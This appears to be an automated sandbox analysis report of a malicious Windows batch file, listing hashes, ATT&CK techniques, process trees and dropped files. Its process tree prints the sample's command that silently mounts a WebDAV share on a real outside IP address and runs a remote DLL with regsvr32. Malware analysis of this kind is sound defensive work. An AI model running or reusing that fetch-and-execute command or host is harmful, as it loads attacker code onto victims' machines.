03fff5c324b61d01dd73a3e077cf8f85040c1cf83c558a16d82ff3f62eca1751

Analysis

max time kernel
147s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 14:51

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General

Target

7070279921404218102.bat
Size

10KB
MD5

a34c69ae830817bc5df379aefce775d1
SHA1

9646f93a01aabffbace5d48a26f03d915a33ac32
SHA256

03fff5c324b61d01dd73a3e077cf8f85040c1cf83c558a16d82ff3f62eca1751
SHA512

2639e96cde0f221e9bcd95e7aa49277a5e58bc8f69999c3fd8c24253db3d38aa4065997e62978ace5ab417bab235443af99a0722f4d3c13419e1aee1b288de2e
SSDEEP

192:4ADoaFE2hA+SnxJBSd1mRJ7D2SBIAjvMRT7ZWMn01Sx+:985G5Sxek3pxjURT7j01O+

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3404	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3404	powershell.exe
3404	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3404	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2244	wordpad.exe
2244	wordpad.exe
2244	wordpad.exe
2244	wordpad.exe
2244	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3120 wrote to memory of 2244	3120	cmd.exe	85
PID 3120 wrote to memory of 2244	3120	cmd.exe	85
PID 3120 wrote to memory of 3404	3120	cmd.exe	87
PID 3120 wrote to memory of 3404	3120	cmd.exe	87
PID 3404 wrote to memory of 2380	3404	powershell.exe	89
PID 3404 wrote to memory of 2380	3404	powershell.exe	89
PID 3404 wrote to memory of 220	3404	powershell.exe	90
PID 3404 wrote to memory of 220	3404	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7070279921404218102.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3120
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\216511421425917.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3404
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2380
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\216511421425917.dll
    3⤵
    PID:220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adjkr4ym.mge.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3404-0-0x00000208F0CE0000-0x00000208F0D02000-memory.dmp

Filesize
136KB

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